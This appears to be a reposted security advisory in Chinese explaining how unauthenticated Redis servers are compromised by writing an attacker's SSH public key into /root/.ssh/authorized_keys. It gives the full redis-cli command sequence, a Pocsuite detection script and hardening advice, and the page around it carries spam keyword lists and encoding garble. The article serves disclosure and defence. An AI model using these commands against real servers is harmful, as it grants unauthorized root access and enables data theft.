国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 數(shù)據(jù)庫(kù) > Redis > 正文

Redis未授權(quán)訪問配合SSH key文件利用詳解

2020-03-17 12:32:40
字體:
供稿:網(wǎng)友

前言

Redis是一個(gè)開源的使用ANSI C語(yǔ)言編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫(kù),并提供多種語(yǔ)言的API。

Redis 未授權(quán)訪問的問題是一直存在的問題,知道創(chuàng)宇安全研究團(tuán)隊(duì)歷史上也做過相關(guān)的應(yīng)急,今日,又出現(xiàn) Redis 未授權(quán)訪問配合 SSH key 文件被利用的情況,導(dǎo)致一大批 Redis 服務(wù)器被黑,今天我們來簡(jiǎn)要的分析下。

一、漏洞概述

Redis 默認(rèn)情況下,會(huì)綁定在 0.0.0.0:6379,這樣將會(huì)將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有開啟認(rèn)證的情況下,可以導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下可以利用 Redis 的相關(guān)方法,可以成功在 Redis 服務(wù)器上寫入公鑰,進(jìn)而可以使用對(duì)應(yīng)私鑰直接登錄目標(biāo)服務(wù)器。

1、漏洞描述

Redis 安全模型的觀念是: “請(qǐng)不要將 Redis 暴露在公開網(wǎng)絡(luò)中, 因?yàn)樽尣皇苄湃蔚目蛻艚佑|到 Redis 是非常危險(xiǎn)的” 。

Redis 作者之所以放棄解決未授權(quán)訪問導(dǎo)致的不安全性是因?yàn)? 99.99% 使用 Redis 的場(chǎng)景都是在沙盒化的環(huán)境中, 為了0.01%的可能性增加安全規(guī)則的同時(shí)也增加了復(fù)雜性, 雖然這個(gè)問題的并不是不能解決的, 但是這在他的設(shè)計(jì)哲學(xué)中仍是不劃算的。

因?yàn)槠渌苄湃斡脩粜枰褂?Redis 或者因?yàn)檫\(yùn)維人員的疏忽等原因,部分 Redis 綁定在 0.0.0.0:6379,并且沒有開啟認(rèn)證(這是Redis 的默認(rèn)配置),如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,將會(huì)導(dǎo)致 Redis 服務(wù)直接暴露在公網(wǎng)上,導(dǎo)致其他用戶可以直接在非授權(quán)情況下直接訪問Redis服務(wù)并進(jìn)行相關(guān)操作。

利用 Redis 自身的提供的 config 命令,可以進(jìn)行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以直接使用對(duì)應(yīng)的私鑰登錄目標(biāo)服務(wù)器。

2、漏洞影響

Redis 暴露在公網(wǎng)(即綁定在0.0.0.0:6379,目標(biāo)IP公網(wǎng)可訪問),并且沒有開啟相關(guān)認(rèn)證和添加相關(guān)安全策略情況下可受影響而導(dǎo)致被利用。

通過ZoomEye 的搜索結(jié)果顯示,有97707在公網(wǎng)可以直接訪問的Redis服務(wù)。

Redis,未授權(quán)訪問,SSH,key

根據(jù) ZoomEye 的探測(cè),全球無(wú)驗(yàn)證可直接利用Redis 分布情況如下:

Redis,未授權(quán)訪問,SSH,key

全球無(wú)驗(yàn)證可直接利用Redis TOP 10國(guó)家與地區(qū):

Redis,未授權(quán)訪問,SSH,key

3、漏洞分析與利用

首先在本地生產(chǎn)公私鑰文件:

$ssh-keygen –t rsa

Redis,未授權(quán)訪問,SSH,key

然后將公鑰寫入 foo.txt 文件

$ (echo -e "/n/n"; cat id_rsa.pub; echo -e "/n/n") > foo.txt

再連接 Redis 寫入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit$ redis-cli -h 192.168.1.11$ 192.168.1.11:6379> config set dir /root/.ssh/OK$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK$ 192.168.1.11:6379> saveOK

Redis,未授權(quán)訪問,SSH,key

這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件里,然后攻擊者直接執(zhí)行:

$ ssh –i id_rsa root@192.168.1.11

即可遠(yuǎn)程利用自己的私鑰登錄該服務(wù)器。

當(dāng)然,寫入的目錄不限于 /root/.ssh 下的authorized_keys,也可以寫入用戶目錄,不過 Redis 很多以 root 權(quán)限運(yùn)行,所以寫入 root 目錄下,可以跳過猜用戶的步驟。

4、Redis 未授權(quán)的其他危害與利用

a)數(shù)據(jù)庫(kù)數(shù)據(jù)泄露

Redis 作為數(shù)據(jù)庫(kù),保存著各種各樣的數(shù)據(jù),如果存在未授權(quán)訪問的情況,將會(huì)導(dǎo)致數(shù)據(jù)的泄露,其中包含保存的用戶信息等。

Redis,未授權(quán)訪問,SSH,key

b)代碼執(zhí)行

Redis可以嵌套Lua腳本的特性將會(huì)導(dǎo)致代碼執(zhí)行, 危害同其他服務(wù)器端的代碼執(zhí)行, 樣例如下        一旦攻擊者能夠在服務(wù)器端執(zhí)行任意代碼, 攻擊方式將會(huì)變得多且復(fù)雜, 這是非常危險(xiǎn)的.

Redis,未授權(quán)訪問,SSH,key

通過Lua代碼攻擊者可以調(diào)用 redis.sha1hex() 函數(shù),惡意利用 Redis 服務(wù)器進(jìn)行 SHA-1 的破解。

c)敏感信息泄露

通過 Redis 的 INFO 命令, 可以查看服務(wù)器相關(guān)的參數(shù)和敏感信息, 為攻擊者的后續(xù)滲透做鋪墊。

Redis,未授權(quán)訪問,SSH,key

可以看到泄露了很多 Redis 服務(wù)器的信息, 有當(dāng)前 Redis 版本, 內(nèi)存運(yùn)行狀態(tài), 服務(wù)端個(gè)數(shù)等等敏感信息。

5、漏洞驗(yàn)證

可以使用Pocsuite(http://github.com/knownsec/pocsuite)執(zhí)行以下的代碼可以用于測(cè)試目標(biāo)地址是否存在未授權(quán)的Redis服務(wù)。

#!/usr/bin/env python# -*- coding:utf-8 -*- import socketimport urlparsefrom pocsuite.poc import POCBase, Outputfrom pocsuite.utils import register  class TestPOC(POCBase): vulID = '89339' version = '1' author = ['Anonymous'] vulDate = '2015-10-26' createDate = '2015-10-26' updateDate = '2015-10-26' references = ['http://sebug.net/vuldb/ssvid-89339'] name = 'Redis 未授權(quán)訪問 PoC' appPowerLink = 'http://redis.io/' appName = 'Redis' appVersion = 'All' vulType = 'Unauthorized access' desc = '''  redis 默認(rèn)不需要密碼即可訪問,黑客直接訪問即可獲取數(shù)據(jù)庫(kù)中所有信息,造成嚴(yán)重的信息泄露。 ''' samples = ['']  def _verify(self):  result = {}  payload = '/x2a/x31/x0d/x0a/x24/x34/x0d/x0a/x69/x6e/x66/x6f/x0d/x0a'  s = socket.socket()  socket.setdefaulttimeout(10)  try:   host = urlparse.urlparse(self.url).netloc   port = 6379   s.connect((host, port))   s.send(payload)   recvdata = s.recv(1024)   if recvdata and 'redis_version' in recvdata:    result['VerifyInfo'] = {}    result['VerifyInfo']['URL'] = self.url    result['VerifyInfo']['Port'] = port  except:   pass  s.close()  return self.parse_attack(result)  def _attack(self):  return self._verify()  def parse_attack(self, result):  output = Output(self)  if result:   output.success(result)  else:   output.fail('Internet nothing returned')  return output register(TestPOC)

二、安全建議

配置bind選項(xiàng),限定可以連接Redis服務(wù)器的IP,修改 Redis 的默認(rèn)端口6379

配置認(rèn)證,也就是AUTH,設(shè)置密碼,密碼會(huì)以明文方式保存在Redis配置文件中

配置rename-command 配置項(xiàng) “RENAME_CONFIG”,這樣即使存在未授權(quán)訪問,也能夠給攻擊者使用config 指令加大難度

好消息是Redis作者表示將會(huì)開發(fā)”real user”,區(qū)分普通用戶和admin權(quán)限,普通用戶將會(huì)被禁止運(yùn)行某些命令,如config

總結(jié)

以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,如果有疑問大家可以留言交流,謝謝大家對(duì)VEVB武林網(wǎng)的支持。


注:相關(guān)教程知識(shí)閱讀請(qǐng)移步到Redis頻道。
發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 泸州市| 五寨县| 平度市| 芜湖市| 平遥县| 临猗县| 淳安县| 分宜县| 利津县| 玉龙| 喀喇沁旗| 英超| 中超| 平罗县| 广宗县| 五华县| 平远县| 同仁县| 泸定县| 壶关县| 海口市| 偃师市| 宾阳县| 陵川县| 慈利县| 衡阳县| 洛阳市| 永春县| 常德市| 新昌县| 集贤县| 普格县| 滁州市| 安阳县| 雷山县| 甘德县| 奉贤区| 姜堰市| 普安县| 鸡东县| 司法|